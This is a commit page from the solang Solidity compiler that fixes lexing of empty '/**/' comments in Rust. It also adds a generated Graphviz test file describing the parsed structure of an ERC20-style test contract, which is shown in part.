Bläddra i källkod

Fix lexing of /**/

This type of comment was not recognised by the lexer.

See #744.

Signed-off-by: Sean Young <sean@mess.org>
Sean Young 3 år sedan
förälder
incheckning
30df11a834

+ 19 - 18
solang-parser/src/lexer.rs

@@ -954,11 +954,8 @@ impl<'input> Lexer<'input> {
                             // multiline comment
                             self.chars.next();
 
-                            let doc_comment_start = match self.chars.next() {
-                                Some((i, '*')) => match self.chars.peek() {
-                                    Some((_, '*')) => None,
-                                    _ => Some(i + 1),
-                                },
+                            let doc_comment_start = match self.chars.peek() {
+                                Some((i, '*')) => Some(i + 1),
                                 _ => None,
                             };
 
@@ -983,21 +980,25 @@ impl<'input> Lexer<'input> {
 
                             if let Some(doc_start) = doc_comment_start {
                                 if last > doc_start {
-                                    return Some(Ok((
-                                        start + 3,
-                                        Token::DocComment(
-                                            CommentType::Block,
-                                            &self.input[doc_start..last],
-                                        ),
-                                        last,
-                                    )));
+                                    let comment = &self.input[doc_start..last];
+
+                                    if comment.chars().any(|ch| !ch.is_whitespace() && ch != '*') {
+                                        return Some(Ok((
+                                            start + 3,
+                                            Token::DocComment(
+                                                CommentType::Block,
+                                                &self.input[doc_start..last],
+                                            ),
+                                            last,
+                                        )));
+                                    }
                                 }
-                            } else {
-                                self.comments.push(Comment::Block(
-                                    Loc::File(self.file_no, start, last + 2),
-                                    self.input[start..last + 2].to_owned(),
-                                ));
                             }
+
+                            self.comments.push(Comment::Block(
+                                Loc::File(self.file_no, start, last + 2),
+                                self.input[start..last + 2].to_owned(),
+                            ));
                         }
                         _ => {
                             return Some(Ok((start, Token::Divide, start + 1)));

+ 1668 - 0
tests/contract_testcases/ewasm/comment_tests.dot

@@ -0,0 +1,1668 @@
+strict digraph "tests/contract_testcases/ewasm/comment_tests.sol" {
+	Transfer [label="name:Transfer\ncontract: 0\ntests/contract_testcases/ewasm/comment_tests.sol:58:11-19\nfield name:from ty:address indexed:yes\nfield name:to ty:address indexed:yes\nfield name:value ty:uint256 indexed:no"]
+	Approval [label="name:Approval\ncontract: 0\ntests/contract_testcases/ewasm/comment_tests.sol:61:11-19\nfield name:owner ty:address indexed:yes\nfield name:spender ty:address indexed:yes\nfield name:value ty:uint256 indexed:no"]
+	OwnershipTransferred [label="name:OwnershipTransferred\ncontract: 4\ntests/contract_testcases/ewasm/comment_tests.sol:312:9-29\nfield name:previousOwner ty:address indexed:yes\nfield name:newOwner ty:address indexed:yes"]
+	contract [label="contract IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:16:5-17:12"]
+	balanceOf [label="function balanceOf\ncontract: IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:18:5-19:92\nsignature balanceOf(address)\nvisibility external\nmutability view\nvirtual"]
+	parameters [label="parameters\naddress account"]
+	returns [label="returns\nuint256 "]
+	totalSupply [label="function totalSupply\ncontract: IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:21:5-22:59\nsignature totalSupply()\nvisibility external\nmutability view\nvirtual"]
+	returns_10 [label="returns\nuint256 "]
+	transfer [label="function transfer\ncontract: IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:31:5-35:27\nsignature transfer(address,uint256)\nvisibility external\nmutability nonpayable\nvirtual"]
+	parameters_12 [label="parameters\naddress recipient\nuint256 amount"]
+	returns_13 [label="returns\nbool "]
+	allowance [label="function allowance\ncontract: IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:38:5-43:26\nsignature allowance(address,address)\nvisibility external\nmutability view\nvirtual"]
+	parameters_15 [label="parameters\naddress owner\naddress spender"]
+	returns_16 [label="returns\nuint256 "]
+	approve [label="function approve\ncontract: IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:46:5-78\nsignature approve(address,uint256)\nvisibility external\nmutability nonpayable\nvirtual"]
+	parameters_18 [label="parameters\naddress spender\nuint256 amount"]
+	returns_19 [label="returns\nbool "]
+	transferFrom [label="function transferFrom\ncontract: IERC20\ntests/contract_testcases/ewasm/comment_tests.sol:51:5-55:30\nsignature transferFrom(address,address,uint256)\nvisibility external\nmutability nonpayable\nvirtual"]
+	parameters_21 [label="parameters\naddress sender\naddress recipient\nuint256 amount"]
+	returns_22 [label="returns\nbool "]
+	contract_23 [label="contract SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:71:1-72:18"]
+	add [label="function add\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:74:5-71\nsignature add(uint256,uint256)\nvisibility internal\nmutability pure"]
+	parameters_25 [label="parameters\nuint256 a\nuint256 b"]
+	returns_26 [label="returns\nuint256 "]
+	var_decl [label="variable decl uint256 c\ntests/contract_testcases/ewasm/comment_tests.sol:75:9-26"]
+	add_28 [label="add\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:75:23-24"]
+	variable [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:75:21-22"]
+	variable_30 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:75:25-26"]
+	expr [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:76:9-55"]
+	builtins [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:76:9-16"]
+	more_equal [label="more equal\ntests/contract_testcases/ewasm/comment_tests.sol:76:19-21"]
+	variable_34 [label="variable: c\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:76:17-18"]
+	variable_35 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:76:22-23"]
+	alloc_array [label="alloc array string\ninitializer: 536166654d6174683a206164646974696f6e206f766572666c6f77\ntests/contract_testcases/ewasm/comment_tests.sol:76:25-54"]
+	number_literal [label="uint32 literal: 27\ntests/contract_testcases/ewasm/comment_tests.sol:76:25-54"]
+	return [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:78:9-17"]
+	variable_39 [label="variable: c\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:78:16-17"]
+	sub [label="function sub\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:82:5-71\nsignature sub(uint256,uint256)\nvisibility internal\nmutability pure"]
+	parameters_41 [label="parameters\nuint256 a\nuint256 b"]
+	returns_42 [label="returns\nuint256 "]
+	return_43 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:83:9-59"]
+	call_internal_function [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:83:16-59"]
+	internal_function [label="function(uint256,uint256,string) internal pure returns (uint256)\nSafeMath.sub\ntests/contract_testcases/ewasm/comment_tests.sol:83:16-59"]
+	variable_46 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:83:20-21"]
+	variable_47 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:83:23-24"]
+	alloc_array_48 [label="alloc array string\ninitializer: 536166654d6174683a207375627472616374696f6e206f766572666c6f77\ntests/contract_testcases/ewasm/comment_tests.sol:83:26-58"]
+	number_literal_49 [label="uint32 literal: 30\ntests/contract_testcases/ewasm/comment_tests.sol:83:26-58"]
+	sub_50 [label="function sub\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:89:5-93:38\nsignature sub(uint256,uint256,string)\nvisibility internal\nmutability pure"]
+	parameters_51 [label="parameters\nuint256 a\nuint256 b\nstring errorMessage"]
+	returns_52 [label="returns\nuint256 "]
+	expr_53 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:94:9-38"]
+	builtins_54 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:94:9-16"]
+	less_equal [label="less equal\ntests/contract_testcases/ewasm/comment_tests.sol:94:19-21"]
+	variable_56 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:94:17-18"]
+	variable_57 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:94:22-23"]
+	variable_58 [label="variable: errorMessage\nstring\ntests/contract_testcases/ewasm/comment_tests.sol:94:25-37"]
+	var_decl_59 [label="variable decl uint256 c\ntests/contract_testcases/ewasm/comment_tests.sol:95:9-26"]
+	subtract [label="subtract\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:95:23-24"]
+	variable_61 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:95:21-22"]
+	variable_62 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:95:25-26"]
+	return_63 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:97:9-17"]
+	variable_64 [label="variable: c\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:97:16-17"]
+	mul [label="function mul\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:101:5-71\nsignature mul(uint256,uint256)\nvisibility internal\nmutability pure"]
+	parameters_66 [label="parameters\nuint256 a\nuint256 b"]
+	returns_67 [label="returns\nuint256 "]
+	if [label="if\ntests/contract_testcases/ewasm/comment_tests.sol:105:9-107:10"]
+	equal [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:105:15-17"]
+	variable_70 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:105:13-14"]
+	number_literal_71 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:105:18-19"]
+	return_72 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:106:13-21"]
+	number_literal_73 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:106:20-21"]
+	var_decl_74 [label="variable decl uint256 c\ntests/contract_testcases/ewasm/comment_tests.sol:109:9-26"]
+	multiply [label="multiply\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:109:23-24"]
+	variable_76 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:109:21-22"]
+	variable_77 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:109:25-26"]
+	expr_78 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:110:9-72"]
+	builtins_79 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:110:9-16"]
+	equal_80 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:110:23-25"]
+	divide [label="divide\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:110:19-20"]
+	variable_82 [label="variable: c\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:110:17-18"]
+	variable_83 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:110:21-22"]
+	variable_84 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:110:26-27"]
+	alloc_array_85 [label="alloc array string\ninitializer: 536166654d6174683a206d756c7469706c696275726e726570656174696f6e206f766572666c6f77\ntests/contract_testcases/ewasm/comment_tests.sol:110:29-71"]
+	number_literal_86 [label="uint32 literal: 40\ntests/contract_testcases/ewasm/comment_tests.sol:110:29-71"]
+	return_87 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:114:9-17"]
+	variable_88 [label="variable: c\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:114:16-17"]
+	div [label="function div\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:118:5-71\nsignature div(uint256,uint256)\nvisibility internal\nmutability pure"]
+	parameters_90 [label="parameters\nuint256 a\nuint256 b"]
+	returns_91 [label="returns\nuint256 "]
+	return_92 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:119:9-55"]
+	call_internal_function_93 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:119:16-55"]
+	internal_function_94 [label="function(uint256,uint256,string) internal pure returns (uint256)\nSafeMath.div\ntests/contract_testcases/ewasm/comment_tests.sol:119:16-55"]
+	variable_95 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:119:20-21"]
+	variable_96 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:119:23-24"]
+	alloc_array_97 [label="alloc array string\ninitializer: 536166654d6174683a206469766973696f6e206279207a65726f\ntests/contract_testcases/ewasm/comment_tests.sol:119:26-54"]
+	number_literal_98 [label="uint32 literal: 26\ntests/contract_testcases/ewasm/comment_tests.sol:119:26-54"]
+	div_99 [label="function div\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:123:5-127:38\nsignature div(uint256,uint256,string)\nvisibility internal\nmutability pure"]
+	parameters_100 [label="parameters\nuint256 a\nuint256 b\nstring errorMessage"]
+	returns_101 [label="returns\nuint256 "]
+	expr_102 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:128:9-37"]
+	builtins_103 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:128:9-16"]
+	more [label="more\ntests/contract_testcases/ewasm/comment_tests.sol:128:19-20"]
+	variable_105 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:128:17-18"]
+	number_literal_106 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:128:21-22"]
+	variable_107 [label="variable: errorMessage\nstring\ntests/contract_testcases/ewasm/comment_tests.sol:128:24-36"]
+	var_decl_108 [label="variable decl uint256 c\ntests/contract_testcases/ewasm/comment_tests.sol:129:9-26"]
+	divide_109 [label="divide\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:129:23-24"]
+	variable_110 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:129:21-22"]
+	variable_111 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:129:25-26"]
+	return_112 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:132:9-17"]
+	variable_113 [label="variable: c\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:132:16-17"]
+	Mdos [label="function Mdos\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:136:5-72\nsignature Mdos(uint256,uint256)\nvisibility internal\nmutability pure"]
+	parameters_115 [label="parameters\nuint256 a\nuint256 b"]
+	returns_116 [label="returns\nuint256 "]
+	return_117 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:137:9-54"]
+	call_internal_function_118 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:137:16-54"]
+	internal_function_119 [label="function(uint256,uint256,string) internal pure returns (uint256)\nSafeMath.Mdos\ntests/contract_testcases/ewasm/comment_tests.sol:137:16-54"]
+	variable_120 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:137:21-22"]
+	variable_121 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:137:24-25"]
+	alloc_array_122 [label="alloc array string\ninitializer: 536166654d6174683a206d6f64756c6f206279207a65726f\ntests/contract_testcases/ewasm/comment_tests.sol:137:27-53"]
+	number_literal_123 [label="uint32 literal: 24\ntests/contract_testcases/ewasm/comment_tests.sol:137:27-53"]
+	Mdos_124 [label="function Mdos\ncontract: SafeMath\ntests/contract_testcases/ewasm/comment_tests.sol:143:5-147:38\nsignature Mdos(uint256,uint256,string)\nvisibility internal\nmutability pure"]
+	parameters_125 [label="parameters\nuint256 a\nuint256 b\nstring errorMessage"]
+	returns_126 [label="returns\nuint256 "]
+	expr_127 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:148:9-38"]
+	builtins_128 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:148:9-16"]
+	not [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:148:19-21"]
+	equal_130 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:148:19-21"]
+	variable_131 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:148:17-18"]
+	number_literal_132 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:148:22-23"]
+	variable_133 [label="variable: errorMessage\nstring\ntests/contract_testcases/ewasm/comment_tests.sol:148:25-37"]
+	return_134 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:149:9-21"]
+	modulo [label="modulo\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:149:18-19"]
+	variable_136 [label="variable: a\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:149:16-17"]
+	variable_137 [label="variable: b\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:149:20-21"]
+	contract_138 [label="contract Context\ntests/contract_testcases/ewasm/comment_tests.sol:152:1-153:27"]
+	_msgSender [label="function _msgSender\ncontract: Context\ntests/contract_testcases/ewasm/comment_tests.sol:154:5-74\nsignature _msgSender()\nvisibility internal\nmutability view\nvirtual"]
+	returns_140 [label="returns\naddress payable "]
+	return_141 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:155:9-26"]
+	builtins_142 [label="builtin Sender\ntests/contract_testcases/ewasm/comment_tests.sol:155:16-26"]
+	_msgData [label="function _msgData\ncontract: Context\ntests/contract_testcases/ewasm/comment_tests.sol:160:5-69\nsignature _msgData()\nvisibility internal\nmutability view\nvirtual"]
+	returns_144 [label="returns\nbytes "]
+	expr_145 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:161:9-13"]
+	builtins_146 [label="builtin GetAddress\ntests/contract_testcases/ewasm/comment_tests.sol:161:9-13"]
+	return_147 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:162:9-24"]
+	builtins_148 [label="builtin Calldata\ntests/contract_testcases/ewasm/comment_tests.sol:162:16-24"]
+	contract_149 [label="contract Address\ntests/contract_testcases/ewasm/comment_tests.sol:168:1-169:17"]
+	isContract [label="function isContract\ncontract: Address\ntests/contract_testcases/ewasm/comment_tests.sol:171:5-70\nsignature isContract(address)\nvisibility internal\nmutability view"]
+	parameters_151 [label="parameters\naddress account"]
+	returns_152 [label="returns\nbool "]
+	var_decl_153 [label="variable decl bytes32 codehash\ntests/contract_testcases/ewasm/comment_tests.sol:173:9-25"]
+	var_decl_154 [label="variable decl bytes32 accountHash\ntests/contract_testcases/ewasm/comment_tests.sol:176:13-177:78"]
+	number_literal_155 [label="bytes32 literal: 89477152217924674838424037953991966239322087453347756267410168184682657981552\ntests/contract_testcases/ewasm/comment_tests.sol:177:12-78"]
+	inline_assembly [label="inline assembly\ntests/contract_testcases/ewasm/comment_tests.sol:179:9-183:10"]
+	yul_assignment [label="yul assignment\ntests/contract_testcases/ewasm/comment_tests.sol:182:13-45"]
+	solidity_variable [label="solidity variable: codehash\nbytes32\ntests/contract_testcases/ewasm/comment_tests.sol:182:13-21"]
+	yul_builtin_call [label="yul builtin call ‘extcodehash‘\ntests/contract_testcases/ewasm/comment_tests.sol:182:25-45"]
+	solidity_variable_160 [label="solidity variable: account\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:182:37-44"]
+	return_161 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:184:9-60"]
+	logical_and [label="logical and\ntests/contract_testcases/ewasm/comment_tests.sol:184:41-43"]
+	not_163 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:184:26-28"]
+	equal_164 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:184:26-28"]
+	variable_165 [label="variable: codehash\nbytes32\ntests/contract_testcases/ewasm/comment_tests.sol:184:17-25"]
+	variable_166 [label="variable: accountHash\nbytes32\ntests/contract_testcases/ewasm/comment_tests.sol:184:29-40"]
+	not_167 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:184:53-55"]
+	equal_168 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:184:53-55"]
+	variable_169 [label="variable: codehash\nbytes32\ntests/contract_testcases/ewasm/comment_tests.sol:184:44-52"]
+	number_literal_170 [label="bytes32 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:184:56-59"]
+	sendValue [label="function sendValue\ncontract: Address\ntests/contract_testcases/ewasm/comment_tests.sol:188:5-75\nsignature sendValue(address,uint256)\nvisibility internal\nmutability nonpayable"]
+	parameters_172 [label="parameters\naddress payable recipient\nuint256 amount"]
+	expr_173 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:189:9-192:10"]
+	builtins_174 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:189:9-16"]
+	more_equal_175 [label="more equal\ntests/contract_testcases/ewasm/comment_tests.sol:190:35-37"]
+	sign_ext [label="sign extend uint256\ntests/contract_testcases/ewasm/comment_tests.sol:190:13-34"]
+	builtins_177 [label="builtin Balance\ntests/contract_testcases/ewasm/comment_tests.sol:190:13-34"]
+	cast [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:190:13-26"]
+	builtins_179 [label="builtin GetAddress\ntests/contract_testcases/ewasm/comment_tests.sol:190:21-25"]
+	variable_180 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:190:38-44"]
+	alloc_array_181 [label="alloc array string\ninitializer: 416464726573733a20696e73756666696369656e742062616c616e6365\ntests/contract_testcases/ewasm/comment_tests.sol:191:13-44"]
+	number_literal_182 [label="uint32 literal: 29\ntests/contract_testcases/ewasm/comment_tests.sol:191:13-44"]
+	destructure [label="destructure\ntests/contract_testcases/ewasm/comment_tests.sol:195:9-61"]
+	param [label="bool success"]
+	none [label="none"]
+	call_external_function [label="call external function\ntests/contract_testcases/ewasm/comment_tests.sol:195:28-61"]
+	variable_187 [label="variable: recipient\naddress payable\ntests/contract_testcases/ewasm/comment_tests.sol:195:28-37"]
+	alloc_array_188 [label="alloc array bytes\ninitializer: \ntests/contract_testcases/ewasm/comment_tests.sol:195:58-60"]
+	number_literal_189 [label="uint32 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:195:58-60"]
+	trunc [label="checking truncate uint128\ntests/contract_testcases/ewasm/comment_tests.sol:195:50-56"]
+	variable_191 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:195:50-56"]
+	expr_192 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:196:9-201:10"]
+	builtins_193 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:196:9-16"]
+	variable_194 [label="variable: success\nbool\ntests/contract_testcases/ewasm/comment_tests.sol:199:13-20"]
+	alloc_array_195 [label="alloc array string\ninitializer: 416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564\ntests/contract_testcases/ewasm/comment_tests.sol:200:13-73"]
+	number_literal_196 [label="uint32 literal: 58\ntests/contract_testcases/ewasm/comment_tests.sol:200:13-73"]
+	functionCall [label="function functionCall\ncontract: Address\ntests/contract_testcases/ewasm/comment_tests.sol:205:5-208:31\nsignature functionCall(address,bytes)\nvisibility internal\nmutability nonpayable"]
+	parameters_198 [label="parameters\naddress target\nbytes data"]
+	returns_199 [label="returns\nbytes "]
+	return_200 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:210:9-76"]
+	call_internal_function_201 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:210:16-76"]
+	internal_function_202 [label="function(address,bytes,string) internal returns (bytes)\nAddress.functionCall\ntests/contract_testcases/ewasm/comment_tests.sol:210:16-76"]
+	variable_203 [label="variable: target\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:210:29-35"]
+	variable_204 [label="variable: data\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:210:37-41"]
+	alloc_array_205 [label="alloc array string\ninitializer: 416464726573733a206c6f772d6c6576656c2063616c6c206661696c6564\ntests/contract_testcases/ewasm/comment_tests.sol:210:43-75"]
+	number_literal_206 [label="uint32 literal: 30\ntests/contract_testcases/ewasm/comment_tests.sol:210:43-75"]
+	functionCall_207 [label="function functionCall\ncontract: Address\ntests/contract_testcases/ewasm/comment_tests.sol:216:5-221:38\nsignature functionCall(address,bytes,string)\nvisibility internal\nmutability nonpayable"]
+	parameters_208 [label="parameters\naddress target\nbytes data\nstring errorMessage"]
+	returns_209 [label="returns\nbytes "]
+	return_210 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:222:9-69"]
+	call_internal_function_211 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:222:16-69"]
+	internal_function_212 [label="function(address,bytes,uint256,string) internal returns (bytes)\nAddress._functionCallWithValue\ntests/contract_testcases/ewasm/comment_tests.sol:222:16-69"]
+	variable_213 [label="variable: target\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:222:39-45"]
+	variable_214 [label="variable: data\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:222:47-51"]
+	number_literal_215 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:222:53-54"]
+	variable_216 [label="variable: errorMessage\nstring\ntests/contract_testcases/ewasm/comment_tests.sol:222:56-68"]
+	functionCallWithValue [label="function functionCallWithValue\ncontract: Address\ntests/contract_testcases/ewasm/comment_tests.sol:228:5-233:38\nsignature functionCallWithValue(address,bytes,uint256)\nvisibility internal\nmutability nonpayable"]
+	parameters_218 [label="parameters\naddress target\nbytes data\nuint256 value"]
+	returns_219 [label="returns\nbytes "]
+	return_220 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:234:9-242:14"]
+	call_internal_function_221 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:235:13-242:14"]
+	internal_function_222 [label="function(address,bytes,uint256,string) internal returns (bytes)\nAddress.functionCallWithValue\ntests/contract_testcases/ewasm/comment_tests.sol:235:13-242:14"]
+	variable_223 [label="variable: target\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:236:17-23"]
+	variable_224 [label="variable: data\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:237:17-21"]
+	variable_225 [label="variable: value\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:240:17-22"]
+	alloc_array_226 [label="alloc array string\ninitializer: 416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564\ntests/contract_testcases/ewasm/comment_tests.sol:241:17-60"]
+	number_literal_227 [label="uint32 literal: 41\ntests/contract_testcases/ewasm/comment_tests.sol:241:17-60"]
+	functionCallWithValue_228 [label="function functionCallWithValue\ncontract: Address\ntests/contract_testcases/ewasm/comment_tests.sol:246:5-254:38\nsignature functionCallWithValue(address,bytes,uint256,string)\nvisibility internal\nmutability nonpayable"]
+	parameters_229 [label="parameters\naddress target\nbytes data\nuint256 value\nstring errorMessage"]
+	returns_230 [label="returns\nbytes "]
+	expr_231 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:255:9-258:10"]
+	builtins_232 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:255:9-16"]
+	more_equal_233 [label="more equal\ntests/contract_testcases/ewasm/comment_tests.sol:256:35-37"]
+	sign_ext_234 [label="sign extend uint256\ntests/contract_testcases/ewasm/comment_tests.sol:256:13-34"]
+	builtins_235 [label="builtin Balance\ntests/contract_testcases/ewasm/comment_tests.sol:256:13-34"]
+	cast_236 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:256:13-26"]
+	builtins_237 [label="builtin GetAddress\ntests/contract_testcases/ewasm/comment_tests.sol:256:21-25"]
+	variable_238 [label="variable: value\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:256:38-43"]
+	alloc_array_239 [label="alloc array string\ninitializer: 416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c\ntests/contract_testcases/ewasm/comment_tests.sol:257:13-53"]
+	number_literal_240 [label="uint32 literal: 38\ntests/contract_testcases/ewasm/comment_tests.sol:257:13-53"]
+	return_241 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:259:9-73"]
+	call_internal_function_242 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:259:16-73"]
+	internal_function_243 [label="function(address,bytes,uint256,string) internal returns (bytes)\nAddress._functionCallWithValue\ntests/contract_testcases/ewasm/comment_tests.sol:259:16-73"]
+	variable_244 [label="variable: target\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:259:39-45"]
+	variable_245 [label="variable: data\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:259:47-51"]
+	variable_246 [label="variable: value\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:259:53-58"]
+	variable_247 [label="variable: errorMessage\nstring\ntests/contract_testcases/ewasm/comment_tests.sol:259:60-72"]
+	_functionCallWithValue [label="function _functionCallWithValue\ncontract: Address\ntests/contract_testcases/ewasm/comment_tests.sol:264:5-270:37\nsignature _functionCallWithValue(address,bytes,uint256,string)\nvisibility private\nmutability nonpayable"]
+	parameters_249 [label="parameters\naddress target\nbytes data\nuint256 weiValue\nstring errorMessage"]
+	returns_250 [label="returns\nbytes "]
+	expr_251 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:271:9-69"]
+	builtins_252 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:271:9-16"]
+	call_internal_function_253 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:271:17-35"]
+	internal_function_254 [label="function(address) internal view returns (bool)\nAddress.isContract\ntests/contract_testcases/ewasm/comment_tests.sol:271:17-35"]
+	variable_255 [label="variable: target\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:271:28-34"]
+	alloc_array_256 [label="alloc array string\ninitializer: 416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374\ntests/contract_testcases/ewasm/comment_tests.sol:271:37-68"]
+	number_literal_257 [label="uint32 literal: 29\ntests/contract_testcases/ewasm/comment_tests.sol:271:37-68"]
+	destructure_258 [label="destructure\ntests/contract_testcases/ewasm/comment_tests.sol:276:9-278:10"]
+	param_259 [label="bool success"]
+	param_260 [label="bytes returndata"]
+	call_external_function_261 [label="call external function\ntests/contract_testcases/ewasm/comment_tests.sol:276:51-278:10"]
+	variable_262 [label="variable: target\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:276:51-57"]
+	variable_263 [label="variable: data\nbytes\ntests/contract_testcases/ewasm/comment_tests.sol:277:13-17"]
+	trunc_264 [label="checking truncate uint128\ntests/contract_testcases/ewasm/comment_tests.sol:276:70-78"]
